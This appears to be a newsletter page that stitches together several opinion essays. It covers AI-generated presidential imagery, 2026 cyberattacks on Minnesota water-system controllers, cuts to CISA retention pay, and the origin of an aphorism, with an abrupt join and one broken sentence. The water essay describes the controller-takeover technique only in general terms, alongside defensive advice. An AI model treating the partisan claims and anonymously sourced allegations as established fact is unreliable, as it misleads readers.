You’ll rarely find the answers under his light. A frame shows itself from the doorway of the gallery across the street. Not because that gallery is honest, having its own frame, but because two hangings of the same crates enable you to see both, and the rival exhibition that costs a debunker weeks only costs a visitor the walk. In everyday life, the walk is short. Take the story that has gained hold of you and find it told by an outlet across the divide. Notice what each version put first and what each left out. Ask who gains when a story won’t leave your screen, and who gains when one you expected never arrives.

The walk is short, but it isn’t free, and that cost is where the frame wins most of its days. Accepting a hanging costs nothing, while doubting one costs attention. The curator makes his tidy living in that gap between nothing and something. Most rooms, most days, every one of us walks exactly as the arrangement intends; he prices his show for a busy city. Therefore, the discipline can’t possibly be vigilance at every door — that would curdle into the shrug he was counting on. One alarm, though, comes free: your own pulse. The pictures lit to make your blood jump are the ones a hanging most needs to remain unexamined. Let the surge itself be the signal, the moment to step back from the canvas.

At a desk, the moment to step back might arrive with a data dump that clears every check on the first pass, timed for the week it will do the most damage, and seemingly offered to no one else. Flattery is key to these deliveries. You weren’t picked because you were careless — he chose you because you are careful. Your rigor is precisely why they were presented to you, and therefore authentication is the least of what a newsroom owes readers. The line you’ll run (”we have confirmed these documents are authentic”) is his ultimate goal. This is why details of the delivery, such as what hour was chosen, which desks he tried before yours, what remains crated, or what he refused to answer on the record should be reported as you would any other finding. Pace the findings by their actual weight, not the cadence of the drop, or consider breaking the whole batch at once, but never allow the source to set your publishing schedule.

Spend the few walks you own on the rooms where your own life is hung — your vote, your sense of whom to blame, the rooms you’ve toured so often they no longer seem like a room at all — and question those hangings. It’s the one move the gallery exists to prevent. His show is built on the bet that you never will.

Look at the frame.

Malign actors rely on you accepting the arrangement. My goal is to show you the frame. Hacking, but Legal operates without ads or algorithmic interference, relying entirely on reader support. Upgrade to a paid subscription to fund this research and get actionable analysis delivered straight to your inbox.

Three men in olive drab stand before a burning battlefield, a squinting figure in a GI helmet on the left, a pipe smoker on the right, and between them, taller and younger than both, lit like a shampoo commercial, Donald Trump in a general’s dress uniform, wearing a ribbon rack of no known provenance. had screenshotted it for X less than ten minutes later, about the half-life of anything the president posts.

Nobody believes Trump stood among burning Shermans in 1944, and nobody was meant to; unbelief is the image’s operating principle.

♦

My grandpa kept his VHS of Patton inside a cabinet with various other things he treasured, and as a kid spending summers at his house I understood the tape outranked some of the furniture. He was not unusual. For two generations of American men, Franklin Schaffner’s 1970 film is Patton: the wall-sized flag and George C. Scott growling the opening address, the trademark polished helmet and ivory-handled pistols rendered with a fidelity bordering on the liturgical.

Seven Oscars later, the film owned the general's memory outright. Richard Nixon reportedly screened it again and again in the spring of 1970 while deciding to send troops into Cambodia, enough times to unsettle his own aides. Presidents projecting themselves onto Patton have a history, then; only the compression is new. Back then, Nixon needed a screening room and 170 minutes to feel like the general. Today, Trump needs only a text prompt. The fantasy arrives custom-rendered with his face on it. Even so, the shortcut is rather obvious.

Whatever AI model and corresponding prompt produced Tuesday’s image failed the film, never mind the man. Its “Patton” wears a bare helmet where the starred, lacquered one should sit; its “MacArthur” smokes a generic English briar in place of a corncob so famous that the Missouri Meerschaum Company, in business since 1869, still sells a model in his name.

The insignia belong to no army in particular, though a few belong to a very particular army: the “Patton” figure’s red collar tabs and red-piped shoulder boards run closer to Soviet pattern than to anything the U.S. Army has ever issued, and the star-shaped order screwed flat to the center figure’s chest sits the way Moscow pinned its decorations, where American orders hang from ribbons.

Neither portrait would fool a casual student of history. What we see is a texture called “WWII general” with celebrated names captioned on top; the past worn as costume rather than consulted as record.

♦

History kept better notes than the AI model was able to reproduce. Of all the commanders in the American pantheon, Trump’s caption reaches for the two most famously at war with civilian control of the military. Truman relieved MacArthur in April 1951 for public insubordination over Korea, and the firing became a constitutional lesson learned by every officer: generals answer to elected civilians. Patton, brilliant in the field and unemployable at peace, slapped two hospitalized soldiers in Sicily and spent his last years testing a chain of command that finally stopped indulging him.

Both men carry a darker credential. In July 1932 MacArthur, then Army chief of staff, commanded the eviction of the Bonus Army — thousands of destitute veterans camped in Washington, D.C. — and by most accounts pressed the operation far further than Hoover had authorized, even ignoring his command to stop the assault; then-Major George S. Patton led the cavalry, and infantry followed with tear gas. That morning District police, attempting to clear a downtown camp, had opened fire, killing William Hushka, a Lithuanian immigrant, and mortally wounding Eric Carlson of Oakland, both veterans of the war; their deaths gave Hoover his justification for calling in the Army.

The veterans and their families were driven out under threat of severe violence, and their camps and belongings were burned. As documented by Paul Dickson and Thomas B. Allen, authors of The Bonus Army, 55 veterans were injured and 135 were arrested. One veteran’s wife miscarried. Another’s malnourished 4-year-old son died.

In other words, flanking Trump in his AI-generated fantasy are the two officers most famously associated with insubordination and the two most storied soldiers on the scene the last time the Army attacked an encampment of American civilians in the capital.

Whether anyone involved in generating the image was aware of these historical facts is unknowable. What we know is that it arrived from the president’s own social media account during a time of militarized policing and Guard deployments over governors’ objections and less than one year after “Chipocalypse Now,” the president’s post of himself as the napalm-loving colonel menacing Chicago. This is a genre, not a lark.

♦

Although we have had a dozen general-presidents, there is a reason no American has ever seen a president in uniform. More than any battle, arguably, the republic’s founding image is Washington at Annapolis in December 1783, handing his commission back to Congress, a renunciation European observers found nearly incomprehensible and American political culture has treated as scripture since. Grant governed in a frock coat; Eisenhower, who accepted the German surrender wearing five stars, spent eight years in business suits.

Trump’s image belongs instead to the tradition our iconography spent 240 years defining itself against: the marshal-president whose uniform is the office, a tradition with a rich photographic archive, none American. About the ribbons: the man wearing five rows of them received four student draft deferments and a fifth for bone spurs. Eisenhower had more right than any man alive to wear stars in the Oval Office but still understood why he couldn’t, or simply shouldn’t.

Tuesday’s image tramples the Constitution’s intentional subordination of the military beneath the office now borrowing its clothes.

♦

Images like this one get waved through as jokes, yet the levity holds more weight than it admits. Because the composite is self-evidently fake, it carries built-in deniability while still performing all the same symbolic work. Nothing here was offered as fact, so there is nothing to fact-check. A president depicting himself as a WWII general cannot be debunked, only objected to, and the objection itself is the product.

A social psychologist might label the underlying move basking in reflected glory, a sort of prestige by adjacency, with some of that five-star shine migrating toward a middle figure rendered golden, fit and youthful while the generals beside him go gray. Supporters get an identity offer, an opportunity to fuse the current leader with the last morally uncontested American war, causing loyalty to take on the feeling of patriotism. Opponents get rage bait, and their amplification serves as distribution strategy. And because norms die by repetition, everyone else gets erosion, and a president in a general’s uniform seen often enough stops registering as a violation at all.

The technique has doctrine behind it. Analysts were urging NATO to take memetic warfare seriously a decade ago, and the man who wrote the case, Jeff Giesea, a startup veteran out of Peter Thiel’s orbit, spent the next year practicing what he had preached, building the pro-Trump meme operation MAGA3X with Mike Cernovich and assembling an influencer network that included Jack Posobiec, a Navy Reserve intelligence officer turned far-right provocateur. Their DeploraBall sold out a thousand tickets at the National Press Club on the eve of the inauguration, a victory party for what the online right still commemorates as the Great Meme War; MAGA3X had billed itself as “Freedom’s Secret Weapon,” and the distance between those trenches and official government social media accounts has since closed to nothing.

Motive is a locked room, but the message is in plain view. Trump’s image collapses the visual distance between the presidency and military command in a format engineered so that anyone who objects can be told to “just lighten up.” Whether sincere self-image, planned strategy, trolling or some blend of the three, the outside view is identical, and Singh’s Law neatly applies, nowhere more than in the tailoring: a president who has spent a decade denying allegations of Russian compromise circulated a portrait dressed partly from the Red Army's closet. Can any outside observer say whether the machine blundered or somebody winked?

My grandpa’s tape, whatever the movie’s own myth-making, at least asked its audience to sit with a complicated man for three hours.

Trump’s version asks for nothing but a share.

♦

By the time he spoke, it was no longer a Minnesota story. His own agencies had spent the week telling water operators nationwide to disconnect their industrial controllers from the public internet. The FBI and the EPA had issued a joint advisory the day before, reporting that water and wastewater utilities in at least seven states had come to the bureau with incidents, some of which degraded water operations. The Cybersecurity and Infrastructure Security Agency had told the entire sector, in an alert issued Thursday, that attackers were locking operators out of their own equipment and were targeting water entities of all sizes. American intelligence agencies have preliminarily assessed that Tehran is likely behind this campaign in the fifth month of the U.S. war against Iran.

Trump blamed Minnesota, calling the state “grossly incompetent” and the governor corrupt. He then veered way past dismissal:

“You know who’s behind it? Minnesota. Because they’re grossly incompetent.

I think the governor’s behind it.

I don’t think there was an Iranian cyberattack.”

While the president was assigning blame on television, his own cyber agency was rewriting the rules that determine whether its remaining experts stay.

An internal FAQ posted to CISA's human capital intranet, obtained by Hacking, but Legal, sets new eligibility criteria for the Cybersecurity Retention Incentive, the supplement worth 20 to 25 percent of salary that keeps certified specialists from taking private-sector offers. To qualify next fiscal year, an employee must now hold an "Exceeds Expectations" or higher rating on their annual performance review. Nothing in the federal audit being used to justify the change asked for that. A CISA employee tells me the new rules are expected to cost roughly a third of the agency its incentive. In an all-staff email announcing the change, Acting Director Nick Andersen told employees that "we know these changes may result in financial hardship for some," and pointed them toward financial education resources.

That is the workforce whose absence the president spent Friday blaming on a governor.

I have spent a significant portion of my career on the detection and response side of incidents like this one. I was promoted repeatedly at Mandiant (acquired by Google), a firm carrying expert credentials to handle intrusions for major organizations having the worst week of their institutional lives. I later served as Director of Incident Response at Intel Security and McAfee. I have personally authored containment plans and made 3 a.m. calls to argue about whether pulling a system offline costs less than leaving it up.

The president’s remarks aren’t just partisan noise.

At best, they represent a category error that inverts how attribution works, highlight a fundamental misunderstanding of how cyber warfare works, and make the next intrusion more likely to land. At worst, they showcase that this administration intends to leave the country vulnerable to a belligerent nation they started an illegal war against. Instead of taking responsibility and vowing to engage in retribution during a time of active hostilities, the chief executive has just used the attacks against our nation as political leverage against a fellow American — the sitting governor of a blue state, one who just so happens to have run against him in the last election.

The July 26 Intrusions

Between the night of Sunday, July 26, and Monday, July 27, someone moved through the operational technology of Minnesota’s community water systems. Minnesota IT Services called it a coordinated cyberattack against more than 30 systems; John Israel, the state’s chief information security officer, later put the figure at 36.

The targets were programmable logic controllers (the small industrial computers that physically open valves and start pumps) and the human-machine interfaces that sit in front of them. Federal investigators have since named Rockwell Automation MicroLogix 1100 and 1400 series controllers specifically, and the technique they describe has no finesse in it whatsoever. You reach an internet-facing device, change its IP address and its password, and the people paid to run that plant lose the ability to see it or touch it.

In Braham, a town of about 1,700 that advertises itself as the homemade pie capital of Minnesota, public works crews noticed the well feeding the water tower misbehaving. They isolated the affected system, switched to a backup and restarted the plant in roughly 90 minutes. Plymouth lost cellular communications to two water towers and several wastewater lift stations and kept running by hand. So did South St. Paul. Maple Plain declared a local state of emergency.

Read that against the sector’s own guidance and it stops looking like failure. WaterISAC, the water sector’s information sharing and analysis center, publishes a document called 12 Cybersecurity Fundamentals for Water and Wastewater Utilities. Fundamental 1 is incident planning, and it instructs utilities to write emergency operating procedures for running the industrial process by hand, to be ready to island the control network if malware renders controllers untrustworthy, and to rehearse manual mode routinely so the muscle memory exists under stress.

Braham and Plymouth and South St. Paul did not improvise their way out of trouble on July 27. They ran the playbook their own sector had published for them, and it held.

Nobody in Minnesota lost water. Nobody was told to boil it. Neither fact was luck, and neither means the attack was trivial. A memo circulated by the Minnesota Bureau of Criminal Apprehension and obtained by CNN assessed that the intruders were probably trying to cause a loss of system pressure, which is the precondition for contamination getting into the pipes. That is the part worth sitting with. The goal was not to embarrass a city council. The goal was to make the water unsafe, and what stood in the way was a shift operator who noticed something wrong before the alarm told him.

The historical record explains why this one is different. Dragos, the industrial-security firm that tracks this sector more closely than anyone, counted 27 publicly disclosed cyber events in the U.S. water and wastewater sector across the eighteen years from 2006 through 2023. Of those 27, only three were verified as having impacted industrial processes and operations: an insider at a California canal authority in 2007, an insider at a Kansas rural water district in 2019, and the 2021 Oldsmar, Fla., intrusion in which someone tried to change a sodium hydroxide setpoint. Two of the three were disgruntled employees. None was a foreign state.

Then the curve bent. Late 2023 brought Aliquippa, and a county in Ireland left without running water for days. In April 2024 a group calling itself the Cyber Army of Russia posted video of itself inside the controls of a wastewater plant in Tipton, Indiana. That September, Arkansas City, Kansas dropped to manual operations after a weekend intrusion. Three weeks after that, American Water, the largest water utility in the country, pulled systems offline and ran parts of its operation by hand. Dragos now tracks the Iranian-linked crew behind the Unitronics campaign as BAUXITE and counts five separate campaigns from it since late 2023.

So Minnesota is not an anomaly, and I am not going to pretend it came out of a clear sky. It is the steepest point yet on a curve that started bending years ago, during which time the federal government took apart the agency built to help towns like Braham.

Subscribe now

The Punishment of Disclosure

By Thursday, a full day before the Cabinet meeting, the FBI and the EPA had told the public this was a multi-state campaign. Utilities in at least seven states had reported incidents since July 26. Federal authorities described losses of monitoring and control at critical infrastructure sites, and effects that went well past a dark screen: pressure loss and flooding. CISA said the activity had produced boil-water notices and sustained manual operation.

None of those boil-water notices were in Minnesota. The federal agencies did not name the affected states, and as of this writing they still haven’t. So exactly one name is attached to this campaign in public, and it just so happens to belong to the state whose governor Trump has spent years attacking.

Geography has nothing to do with that. The single name is an artifact of how intrusions become visible in the first place, and this is the part of the story I would most want a general reader to understand.

In two decades of this work, the most reliable predictor of which organization ends up in the newspaper has never been which one was breached worst. It is which one was looking. Detection requires instrumentation, staff, and a willingness to say so out loud once you find something. A utility with no telemetry files no report, because it never learns it has anything to report. The exception is ransomware, where the attacker announces the victim for you. Nobody announced this one. The victim you can name is almost never the victim who got hit hardest.

Minnesota’s own chief information security officer said as much to the New York Times, as Axios and others relayed: Minnesota was one of the early detectors, and the same activity had likely been running in other states across the country. Minnesota IT Services did not respond to questions Friday evening seeking to directly confirm the state’s early detection of the campaign, or detailing the level of federal assistance the state received during the crisis.

So the state that caught this early, escalated it, stood up a statewide response, worked it alongside four federal agencies, and told its residents the truth inside forty-eight hours is the one Trump singled out on national television as uniquely incompetent. The states still unnamed, some of them perhaps still boiling their water, went unmentioned, because nobody has published who they are and the president cannot attack a blank space on a map.

Punish disclosure and you get less disclosure. The sector has been complaining about that dynamic for years, in its own documents. In WaterISAC’s December 2024 guidance, Jennifer Lyn Walker, its director of infrastructure cyber defense, wrote a note to members under the heading that everyone wants to know and few are willing to share, urging utilities to “stop keeping your cyber incidents so close to the vest until a reporter calls.” Her argument was that the sector’s blind spots persist because victims stay quiet.

Minnesota did the thing the sector has been begging its members to do. Every utility manager in the country watched what it got them.

The Attribution Trap

Two entirely different activities go by the name “attribution,” and they share almost nothing but a word. Collapsing them is how you get Friday.

The first happens in a room with a whiteboard and too much coffee. It is incident response, and its questions are narrow. What did the adversary touch? How did they get in? Are they still here? What has to change so they cannot come back through the same door? NIST’s guidance, the framework most of us build our programs against, organizes the work around detection, response and recovery.

Nowhere in that sequence does the adversary’s nationality appear, because for eviction and hardening it is close to irrelevant. Tradecraft is everything: which port, which credential, which firmware, which undocumented cellular modem some integrator installed in 2019 and never told anyone about. But if you told me tomorrow that the Minnesota intrusions were the work of Iran’s Islamic Revolutionary Guard Corps, a criminal crew, a contractor with a grudge, or a bored nineteen-year-old, my plan would not change by a single line.

Pull the controllers off the public internet. Kill the default credentials. Verify the ladder logic against a known-good copy, because a project file can be modified to look correct while overriding safety instructions underneath. Rehearse manual operation. Containment, eradication, remediation, in that order, under every attribution hypothesis anyone has floated. Hold that work until the geopolitics settle and you have not paused remediation; you have handed the intruder the weekend.

The second activity happens in a different building entirely. It is a political and legal act performed by governments, and naming a state as responsible for a cyber operation is the predicate for countermeasures, for sanctions, for coalition statements, for anything the international system recognizes as a lawful response. It moves slowly on purpose, withheld until the evidence will survive contact with allies, adversaries, and lawyers.

It is also getting harder, not easier. Dragos’s most recent annual review describes threat groups that have organized themselves into a division of labor: one crew specializes in breaking into internet-facing systems and then hands that access to another crew that does the work inside the plant. The people who opened the door are not necessarily the people who touched the pumps. Anyone demanding a country’s name in week one is asking for something the evidence may not support in month six.

Which is why Minnesota’s own officials said what they said. They were not attributing the activity to a specific threat actor, and federal partners were better positioned to make that call. Professional caution is supposed to sound that unsatisfying. It was also correct, and it came from the people Trump called grossly incompetent.

He did not exercise that caution, and caution here would have meant silence, or some version of what his own agencies were already saying in writing. Instead he rejected the assessment his own government was still building and substituted a different one, aimed at an American governor, resting on nothing at all.

The Anatomy of Negligence

Let me make the strongest version of the other side of this argument. Were some of these water systems poorly defended? Almost certainly.

Internet-exposed controllers with factory-default passwords are a failure mode with its own advisory history. The IRGC-linked persona CyberAv3ngers compromised at least 75 Unitronics controllers across four countries in late 2023 using that same weakness, including at the Municipal Water Authority of Aliquippa, Pa. CISA has warned that malicious code from that campaign still sits on some devices today. In April, six federal agencies — the FBI, CISA, the NSA, the EPA, the Department of Energy, and Cyber Command — jointly warned that Iranian-affiliated actors were exploiting internet-facing PLCs across American critical infrastructure, and updated that advisory on July 22, four days before Minnesota was hit.

The sector does have a discipline problem, and pretending otherwise would be dishonest. But the numbers make it a structural problem rather than a Minnesota problem.

Dragos has found that roughly 60 percent of high-severity vulnerabilities in the water sector’s operational technology sit in controller assets, and that internet-accessible ICS networks turned up in 53 percent of its own service engagements. An earlier CISA scan of 44 water entities found more than a third running risky remote-access services and about one in six running unsupported Windows on internet-facing assets. Exposed control gear is close to standard equipment in this business, which is why attackers were able to go after it in seven states at once instead of one.

The specific blind spot exploited here was flagged in writing well in advance. WaterISAC’s December 2024 guidance told utilities to hunt for interconnections they had forgotten about, and asked pointedly whether a vendor had installed a cellular modem for maintenance that was serving as an undocumented back door. Nineteen months later, CISA’s July 30 alert warned that this targeting includes cellular modems installed by operators, vendors, or integrators that may never have been inventoried, and Plymouth’s disruption ran straight through that path. The sector knew, and had known for years, but knowledge is not the same thing as a budget line. Cybersecurity can be expensive.

Negligence and culpability are different things, and conflating them is how you end up blaming a town for being burgled. Whoever left the window unlatched did not commit the burglary. In cyber operations that line is drawn in law as well as in ethics: responsibility for an intrusion attaches to whoever conducted it, and a state does not shed it by working through proxies or personas.

There is a second problem with the negligence charge as delivered. It was pointed at the wrong person, and now at the wrong scale.

A failure that shows up in one state on one weekend is a story about that state. A failure that shows up in seven states in five days, against the same class of device, using the same technique, is a story about a sector. You cannot hold a governor responsible for a national pattern in municipally owned infrastructure he has no legal power to regulate. Whatever went wrong here went wrong in jurisdictions Trump has not criticized, because nobody has told him which ones they are.

There is no federal cybersecurity mandate for American drinking water. Roughly 50,000 community water systems operate in this country, most of them municipal, many serving a few thousand people with no dedicated security staff. The EPA leads federal water-sector cyber policy and lacks explicit statutory authority to require anything of them. The one serious attempt to change that, a March 2023 memorandum directing states to evaluate cybersecurity during sanitary surveys, was challenged in court by Missouri, Arkansas, and Iowa, joined by two national water associations. The Eighth Circuit stayed it. The agency withdrew it that October.

So a governor of Minnesota cannot compel a municipal utility in Braham to re-architect its remote access, and has no line item that would pay for it if he could. The accountability structure Trump invoked on Friday does not exist, in significant part because his own party’s attorneys general went to court to make sure it never would.

The Federal Divestment

If the argument is that somebody failed to prepare American water systems for an Iranian cyber campaign during a war with Iran, then the ledger deserves to be read all the way to the bottom.

A third of CISA’s workforce is already gone. The administration has proposed cutting more than $700 million from the agency’s next budget, a figure Senator Mark Warner called a dangerous underestimation of the threats facing the country in a June letter that also documented five of ten regional directors serving in an acting capacity. There has been no Senate-confirmed director since January 2025. Federal funding for the threat-sharing hub that served some 18,000 state and local entities, including small utilities, ended last September; it now runs on paid memberships that many towns simply did not buy.

In May, the GAO told Congress that these reductions may limit the federal government’s ability to support water and wastewater systems. That warning is ten weeks old. The attack is five days old.

None of this is new information, and none of it is a surprise to anyone who has been paying attention. I wrote about the dismantling in March 2025, when the firings were still in the low hundreds and the agency was being told to stop tracking Russian threats, and I updated it the following day as more came out. The reasoning behind the demolition was never operational. CISA had been recast on the right as a censorship shop, a story I have traced before and which bears almost no resemblance to what the agency actually did.

Set 2,324 filled positions against 150,000 public water systems and the arithmetic turns bleak fast. Even if every one of those employees, across sixteen critical infrastructure sectors and including administrative and emergency-communications staff, were reassigned tomorrow to drinking water and nothing else, you would have one federal body for every 21 community systems. No such reassignment exists or has ever been proposed. Trump treated that arithmetic as sufficient on Friday, and a governor as the reason it isn’t.

Walz made his own version of this point, telling reporters that the cuts had taken an axe to CISA and left the country exposed. He is right, and you do not have to take his word for it. Every figure in this section comes from the administration’s own budget request, an inspector general, a Senate letter the agency has not disputed, and the Government Accountability Office.

The Phantom Rebuild

Here is where the official story and the internal one stop matching.

The public version is recovery. Homeland Security Secretary Markwayne Mullin told a House panel in late June that CISA needs about 600 new people and is ready to rebound once a confirmed director arrives. Acting Director Nick Andersen has approved hundreds of mission-critical hires and extended roughly 200 job offers. Republicans who spent last year voting to defund the agency are now, per Politico, scrambling to rescue it, spooked by AI-enabled attacks and by their own midterms. This week the administration announced it will rebuild the election-security operation it gutted, with under 100 days to go before Election Day.

That is the story being told to Congress and to reporters. It is not the story inside the building.

A CISA employee, who spoke on condition of anonymity because they are not authorized to discuss internal personnel matters and fear retaliation, first described the change to me. The document behind it sits on the agency’s own human capital intranet, where any employee can read it.

The program is the Cybersecurity Retention Incentive, worth 10 percent of base salary for qualifying positions and 20 or 25 percent for staff who hold certifications on an approved list. It exists because those certifications are expensive to earn and maintain, and because the private sector will always outbid the federal government for the people who hold them.

Last September, the DHS Inspector General found that CISA had mismanaged the program, spending $138 million between 2020 and 2024 without properly documenting who qualified, and paying $1.41 million in unallowed back payments to 348 people. The audit made eight recommendations. CISA concurred with all of them. Most were due to be implemented by July 2026.

At the time, CISA staffers warned reporters that the audit lacked context and could hand the administration a pretext to gut a program the workforce depended on. That is a matter of public record from September. The FAQ shows what arrived instead.

To be fair to the agency, part of the rewrite is exactly what the auditors asked for. The Inspector General found that CISA had quietly dropped the share of time an employee must spend on cyber work from 51 percent to 30 percent, let that policy expire, and then kept operating at the lower number anyway. The new rules restore the 51 percent threshold. That is a legitimate fix to a documented problem.

The rest is not in the audit at all.

Under the new criteria, an employee must have received an “Exceeds Expectations” or higher rating on their annual performance review to keep the incentive. They must not have been demoted, reprimanded, or suspended in the previous twelve months. They must have held an eligible position for the previous 90 days and worked at CISA continuously for a year. Employees hired through the Cyber Talent Management System, the program built specifically to recruit private-sector security talent into government, are excluded from the incentive entirely.

Nowhere among the Inspector General’s eight recommendations is there a performance-rating threshold. The auditors asked CISA to define mission-critical roles, document eligibility, fix its recordkeeping, and recover improper payments. Tying a retention supplement to annual review scores was a choice the agency made on its own.

“The OIG report did not say remove cyber pay for all employees who didn’t get a 3.5 or higher on their performance evals,” the employee said. “The call is coming from inside the house.”

The DHS Office of Inspector General did not respond to a request for comment by deadline on Friday evening asking whether its audit recommended tying the retention incentive to annual performance ratings.

The FAQ also contains a disclosure that has not been reported. CISA writes that it recognizes “a complete sunset of the CRI Program, as previously planned, would exacerbate critical hiring gaps across its cybersecurity workforce.” The plan of record, in other words, was to end the retention program outright. What the workforce is being handed now is the version that survived.

The employee who spoke to me received a middle-of-the-road review last cycle, in a period when managers had been pressed to rate more conservatively and hand out fewer top marks. Under the new rules, that rating disqualifies them. They are losing 25 percent of their pay, a reduction that leaves their salary uncompetitive with the private sector.

CISA anticipated the objection and wrote it down. One of the questions in its own FAQ, posed and answered by the agency, is why it would make changes costing employees the incentive “when we already have a large number of vacancies.” Andersen’s email goes further, telling staff outright that “we know these changes may result in financial hardship for some,” and directing them to financial education resources.

No internal modeling is required to see where that leads. Certified specialists losing a quarter of their pay, in a market where every private employer is hiring, will start taking calls. Each one who leaves widens the vacancy gap the agency says these changes exist to address, at an organization already down a third of its people.

The employee estimates that roughly one third of the agency will be affected, and believes the money may not return until fiscal 2028.

There is a second problem arriving with the new fiscal year. Because eligibility now depends on a position description showing 51 percent or more cyber work, employees whose descriptions are stale or were filled out with the wrong percentage will fail the test on paper. CISA seems to know this. Its FAQ poses that exact question — what happens when a position description does not accurately reflect the time an employee spends on cyber duties — and answers it in a single sentence from its human capital office: “OCHCO is actively reviewing position descriptions to make updates as necessary.” No timeline. No recourse. Applications open Monday, August 3, and close September 4.

Nobody’s actual duties will have changed. The forms describing those duties will simply be wrong.

I asked the employee what it looks like from the inside when the same administration cuts their pay and then blames a governor for an attack the agency was formed to help prevent.

“It’s intentional,” they said.

The Inspector General’s stated worry, in the very report now being invoked, was that mismanagement of this program “undermined morale among qualified cybersecurity professionals and jeopardized CISA’s ability to retain critical talent.” The remedy is producing the harm the audit warned about.

So is this incompetence, or is it deliberate? I have argued elsewhere that this is the wrong question, and that it is the wrong question by design. Singh’s Law: any sufficiently advanced incompetence is indistinguishable from sabotage. Intent lives inside somebody’s head and can be litigated indefinitely. Wreckage shows up in staffing charts and turnover numbers and can be audited by the quarter. Past a certain threshold the two stop separating, and reaching for the distinction mostly serves whoever benefits from the inquiry ending right there.

This entire piece is an argument that chasing attribution is the wrong instinct in the opening week of an incident. The same discipline applies to the people who cut the budget. Judge the wreckage: a third of the workforce gone, the retention program for whoever is left being cut in the middle of an active campaign against American water systems, and a Cabinet secretary telling Congress the agency is actually on a rebound.

The employee I spoke with put it more plainly.

“Morale is low and we haven’t been given support or reasons to stay. It’s fucked up.”

News of these pay cuts hasn’t reached the public before now. It does not contradict what CNN reported this week from a closed-door congressional briefing, in which a CISA official said the agency was too depleted to deliver even its normal election-security support before the midterms. Both accounts describe the same institution: one being publicly restored and privately hollowed.

CISA's Office of Public Affairs and the Department of Homeland Security received a detailed request for comment on Friday evening, listing the documents and criteria described above. Neither responded by the publication deadline. Any response will be added here in full.

The False Flag Distraction

Investigators have said they are weighing whether someone impersonated Iranian tradecraft to inflame an already burning conflict. Former intelligence officials told the New York Times they consider that unlikely, and the operational indicators, disruption rather than profit and no ransom demand, point toward a state actor. But it remains a live hypothesis, and taking it seriously is a mark of competence rather than weakness.

The hypothesis argues in one direction only. A credible false-flag risk calls for more rigor before public attribution, longer forensic patience, tighter coordination with the allies who will be asked to co-sign whatever we eventually say. It argues for nothing whatsoever in the direction of naming an alternative culprit without evidence, and least of all in the direction of naming an American state.

It is also worth remembering that this was foreseeable, and foreseen. When the administration stood down cyber operations against Russia in early 2025 and began stripping out the people who did attribution work, the warning from those of us watching was specific. Degrade a country’s ability to attribute attacks and you hand every adversary the option of hiding behind someone else’s fingerprints, while corroding public confidence in the attributions that do get made. That was seventeen months ago. We are living in the world it described, with one bitter revision: the distrust is not being manufactured by a foreign service. It is coming from the podium.

Consider what an adversary learned watching Friday. Strike American water systems during a shooting war, and the American president will decline to name you, then spend his airtime on a domestic rival instead. The entire apparatus of deterrence signaling gets switched off on your behalf, free of charge.

Public attribution exists to impose cost. Refusing to use it while the intrusions continue in at least seven states tells every actor probing our infrastructure that the cost of hitting us is pretty much zero.

What Defense Actually Looks Like

The real work of protecting American drinking water this week did not happen on a stage at Camp David, and it will not happen on cable news. It happened in equipment rooms in quintessential American towns most of us could not find on a map, and it looks like this.

It looks like someone pulling a programmable logic controller off the public internet, where it should never have been reachable in the first place. It looks like a public works director building an honest inventory of every remote-access path into the plant, including the cellular modem a vendor installed years ago and nobody wrote down. It looks like replacing default passwords that shipped from the factory, putting remote access behind multifactor authentication, and checking the logic running on a controller against a known-good copy, because a malicious change can be made to look correct on screen while quietly overriding a safety instruction underneath.

Most of all, it looks like the thing Braham did on July 27: knowing how to run the plant by hand, because somebody had written the procedure down and made the crew practice it.

And if the intent of this campaign was to cause a loss of pressure, then the durable defense is engineering, not software. WaterISAC’s guidance on independent cyber-physical safety systems is explicit about the answer: a control the compromised computer cannot reach. Pressure switches hardwired to pump controllers. A shutdown interlock wired directly between a chemical analyzer and the metering pump it governs. An alarm that never travels through the device an attacker owns. A safety function living inside the same box as the process logic falls the moment that box is taken.

Not one item on that list requires knowing whether the person on the other end was in Tehran.

All of it requires money, staff, and time, which is what your town council, your state legislature, and your congressional delegation actually control. If you want a question to ask them this month, it is not who did it. It is whether the utility that serves your house has done those things, when it last practiced running without its computers, and who is paying for the work.

Then there is the part that requires courage rather than budget. Call the FBI. Call CISA. Report it, even after watching what happened to the people who did. Minnesota is being pilloried this week for the exact behavior that made the rest of the country safer: it looked, it found something, and it said so inside forty-eight hours. That disclosure is the only reason utilities in six other states got a federal warning at all.

This was a serious act against American civilians in at least seven states committed by someone who has not yet been named during a war this administration started. The people who kept the taps running were public works crews and state security teams doing their jobs under fire, while the federal experts who would normally have backed them up were being told their pay was about to be cut.

The states we can name were told on national television that they were incompetent, and that their governor did it. Those still unnamed went unmentioned; nobody has published who they are, and the president cannot attack a blank space on a map.

Attribution is a tool. Used well, it builds coalitions, imposes costs on adversaries, and tells defenders what is coming for them next. Used the way Trump did on Friday, it is a cudgel, swung against Americans to the obvious benefit of the people who attacked them.

If you work at CISA, a water utility, etc. and you have something to add: I protect my sources. jackie @ hackingbutlegal.com.

The author is an information security practitioner, formerly of Mandiant and Director of Incident Response at Intel Security and McAfee.

“Any sufficiently advanced incompetence is indistinguishable from sabotage.”

— @HackingButLegal, October 22, 2025, 8:27 p.m.

Google’s AI Overview has lately begun telling people that the sentence above is “widely attributed to Jackie Singh, an infosec researcher, often cited on social media.” I am Jackie Singh. I posted the sentence one October evening to modest applause, eleven words and a few hundred likes, and I can report that when the summary appeared, the attribution was wider inside the machine than anywhere a search could locate it.

The AI Overview had not discovered a consensus; it manufactured one in the confident register these systems reserve for settled fact, then offered it back to the public to be repeated until true.

I write about disinformation for a living, about the interval between source and summary where a claim gets laundered into a fact, and there is a certain professional etiquette for the moment the process performs itself on your own sentence. You do what the summary engine cannot, which is to produce a primary source.

This essay is the citation.

Aphorisms of this genre have always traveled as laundered goods. A maxim is a sentence that has outlived its circumstances, and shedding provenance is how it travels light. Mine splices two of the durable ones. The template belongs to Arthur C. Clarke, whose Third Law holds that any sufficiently advanced technology is indistinguishable from magic. Its subject descends from Hanlon’s razor, never attribute to malice that which is adequately explained by stupidity, by way of an inversion that circulates as Grey’s law: any sufficiently advanced incompetence is indistinguishable from malice. Nobody can say with confidence who Grey was, or whether he existed; even the attribution’s provenance is disputed which tells you most of what you need to know about how this genre assigns credit. Elon Musk brushed against the territory in May of 2023, tweeting that “Incompetence, in the limit, is indistinguishable from sabotage.”

We shall return to that wording to discuss its failure.

